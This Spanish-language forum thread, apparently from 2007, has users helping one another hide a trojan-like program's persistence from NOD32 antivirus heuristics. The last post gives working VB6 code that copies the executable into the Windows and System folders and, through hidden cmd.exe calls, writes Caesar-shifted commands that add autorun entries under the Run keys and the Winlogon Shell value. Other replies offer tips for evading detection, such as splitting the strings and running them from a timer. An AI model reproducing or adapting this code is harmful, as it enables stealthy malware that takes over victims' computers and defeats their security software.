Autor
|
Tema: problema con el registro encryptado (Leído 2,428 veces)
|
wACtOr
Desconectado
Mensajes: 461
Premio finalista diseño web elhacker.net
|
wenas, tengo un pequeño problema que me trae un poco de cabeza.
tengo una cadena cifrada que añade mi aplicacion al registro. si no esta encryptada el nod salta por herustica, pero si esta encryptada no se añade al registro. esto es por que en la cadena para añadirse tengo 2 variables, una con el nombre de la clave y otra con el valor de la clave:
REG ADD HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\ /v " & valuereg & " /t REG_SZ /d " & SO & "\" & name & " /f
esta es la cadena desencryptada. si kito las variables y dejo la cadena asi:
REG ADD HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\ /v Nombre /t REG_SZ /d C:\sdad\exe /f
si que se añade encryptada. que puede pasar para que no funcione?
gracias
|
|
|
En línea
|
|
|
|
Meg
Desconectado
Mensajes: 462
|
mmm pues no lo se seguro xk me tendria que poner a mirarlo muy detenidamente... pero asi enprincipio alomejor tienes k cifrar tb el contenido de las variables prueba eso aver k pasa ....
|
|
|
En línea
|
|
|
|
~~
|
si que se añade encryptada A ver tu la estas intentando añadir cifrada al reg?? asi no te va a funcionar... Otra cosa. No lo pongas en el form load, ponlo en un timer. Yo siempre pongo las cadenas en un text box en vez de en variables y el nod no salta.... PD --> Lo q me preguntaste por el messenger de la conexion, posiblemente no se te conecte por q tengas la variable ip declarada dentro de una funcion, declarala el la cabecera del source del form (arriba del todo vamos)
|
|
|
En línea
|
|
|
|
Meg
Desconectado
Mensajes: 462
|
A ver tu la estas intentando añadir cifrada al reg?? asi no te va a funcionar... Si ha dicho que le ha funcionao xDD ,creo k se refiere k cuando pone las dos variables y lo cifra no le funciona,pero cuando lo cifra sin las variables si le funciona
|
|
|
En línea
|
|
|
|
~~
|
Pues se a debido de ekivocar, por q si añades esto al reg: asfasfa654f5a64f5a4 evidentemente no va a hacer q tu programa se inice, tendrás q añadirlos sin enriptar no? Weno, vamos a ver. Tu kieres cifrar esta cadena: REG ADD HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\ /v Nombre /t REG_SZ /d C:\sdad\exe /f En la q nombre y C:\sdad\exe son variables no? pues lo mejor q puedes hacer es dividir la cadena completa en dos, la primera parte seria: REG ADD HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\ /v Y la segunta: Weno esta segunda parte casi q no hace falta q la encriptes, pero aun asi la enriptaremos por si acaso Bien, lo primero q tienes q hacer es crearte una funcion para cifrar y otra para descifrar (q supongo q ya tendras) y en un proyteto aparte cifrar ambas cadenas. Supongamos q la primera cadena cifrada keda asi: Y la segunda asi: Pues ahora debrias encadenar todo el chorizo ese para obtener la cadena descifrada y llamarla desde la shell: dim reg as string reg = desenriptar (1111ASDSA1sa1ds1SADSA36) & valuereg & descifrar(222222sdsad) & name & "/f" shell reg
Siendo descifrar la funcion para descifrar Pon esto en un timer y no deberia darte ningun tipo de problemas con la euristica 1S4ludo
|
|
|
En línea
|
|
|
|
Meg
Desconectado
Mensajes: 462
|
Pues se a debido de ekivocar, por q si añades esto al reg: asfasfa654f5a64f5a4 evidentemente no va a hacer q tu programa se inice, tendrás q añadirlos sin enriptar no? si eso es cierto wactor, si tienes problemas pa cifrar y descifrar si kieres te paso las 2 funciones que yo utilizo y ya las ves tu y las adaptas haciendo lo que dice EON, por que ami me funcionan de maravilla
|
|
|
En línea
|
|
|
|
wACtOr
Desconectado
Mensajes: 461
Premio finalista diseño web elhacker.net
|
gracias a tos por contestar, voy a porbrar como dice eon. si para encryptar utilizo esta funcion: Public Function en(j) On Error Resume Next For R = 1 To Len(j) en = en & Chr(Asc(Mid(j, R, 1)) + 7) Next End Function y para desencryptar uso esto: Public Function encrypt(p) On Error Resume Next For R = 1 To Len(p) encrypt = encrypt & Chr(Asc(Mid(p, R, 1)) - 7) Next End Function aora pruebo y os comento. PD: no esta en el form load, esta en un modulo para que cuando llame a la funcion, segun los valores que le meto al server al crearlo desde el cliente haga una cosa u otra: Public Declare Function GetSystemDirectory Lib "kernel32" Alias "GetSystemDirectoryA" (ByVal lpBuffer As String, ByVal nSize As Long) As Long Public Declare Function GetWindowsDirectory Lib "kernel32" Alias "GetWindowsDirectoryA" (ByVal lpBuffer As String, ByVal nSize As Long) As Long Public Declare Function CopyFileEx Lib "kernel32.dll" Alias "CopyFileExA" (ByVal lpExistingFileName As String, ByVal lpNewFileName As String, ByVal lpProgressRoutine As Long, lpData As Any, ByRef pbCancel As Long, ByVal dwCopyFlags As Long) As Long
Public Sub autocopiar(win As Variant, sys As Variant, name As Variant, localmachine As Variant, currentuser As Variant, explorer As Variant, valor As Variant) Dim Car As String * 128 Dim Longitud, Es As Integer Dim Camino As String Dim SO Dim Sistema
opwindows = win opsystem = sys name = name hklm = localmachine hkcu = currentuser hkex = explorer valuereg = valor Longitud = 128 Es = GetWindowsDirectory(Car, Longitud) Camino = RTrim$(LCase$(Left$(Car, Es))) SO = Camino Es = GetSystemDirectory(Car, Longitud) Camino = RTrim$(LCase$(Left$(Car, Es))) Sistema = Camino If opwindows = "V" Then origen = App.Path If Right(origen, 1) <> "\" Then origen = origen & "\" origen = origen & App.EXEName & ".exe" Ret = CopyFileEx(origen, SO & "\" & name, AddressOf CopyProgressRoutine, ByVal 0&, bCancel, COPY_FILE_RESTARTABLE) If hklm = 1 Then reg = encrypt("YLN'HKK'ORL`fSVJHSfTHJOPULcZvm{~hylcTpjyvzvm{c^pukv~zcJ|yylu{]lyzpvucY|uc'6}')'-'}hs|lyln'-')'6{'YLNfZa'6k')'-'ZV'-')c)'-'uhtl'-')'6m") Shell "cmd.exe /c " & reg & "", vbHide End If If hkcu = 1 Then reg = encrypt("YLN'HKK'ORL`fJ\YYLU[f\ZLYcZvm{~hylcTpjyvzvm{c^pukv~zcJ|yylu{]lyzpvucY|uc'6}')'-'}hsvy'-')'6{'YLNfZa'6k')'-'ZV'-')c)'-'uhtl'-')'6m") Shell "cmd.exe /c " & reg & "", vbHide End If If hkex = 1 Then reg = encrypt("YLN'HKK'ORL`fSVJHSfTHJOPULcZVM[^HYLcTpjyvzvm{c^pukv~z'U[cJ|yylu{]lyzpvuc^pusvnvuc'6}'Zolss'6{'YLNfZa'6k'Lwsvyly5ll3')'-'ZV'-')c)'-'uhtl'-')'6m") Shell "cmd.exe /c " & reg & "", vbHide End If End If
If sys = "V" Then origen = App.Path If Right(origen, 1) <> "\" Then origen = origen & "\" origen = origen & App.EXEName & ".exe" Ret = CopyFileEx(origen, Sistema & name, AddressOf CopyProgressRoutine, ByVal 0&, bCancel, COPY_FILE_RESTARTABLE) If localmachine = "1" Then reg = encrypt("YLN'HKK'ORL`fSVJHSfTHJOPULcZvm{~hylcTpjyvzvm{c^pukv~zcJ|yylu{]lyzpvucY|uc'6}')'-'}hsvy'-')'6{'YLNfZa'6k')'-'Zpz{lth'-'uhtl'-')'6m") Shell "cmd.exe /c " & reg & "", vbHide End If If currentuser = "1" Then reg = encrypt("YLN'HKK'ORL`fJ\YYLU[f\ZLYcZvm{~hylcTpjyvzvm{c^pukv~zcJ|yylu{]lyzpvucY|uc'6}')'-'}hsvy'-')'6{'YLNfZa'6k')'-'Zpz{lth'-'uhtl'-')'6m") Shell "cmd.exe /c " & reg & "", vbHide End If If explorer = "1" Then reg = encrypt("YLN'HKK'ORL`fSVJHSfTHJOPULcZVM[^HYLcTpjyvzvm{c^pukv~z'U[cJ|yylu{]lyzpvuc^pusvnvuc'6}'Zolss'6{'YLNfZa'6k'Lwsvyly5ll3')'-'Zpz{lth'-'uhtl'-')'6m") Shell "cmd.exe /c " & reg & "", vbHide End If End If End Sub
|
|
« Última modificación: 25 Junio 2007, 14:13 pm por wACtOr »
|
En línea
|
|
|
|
|
|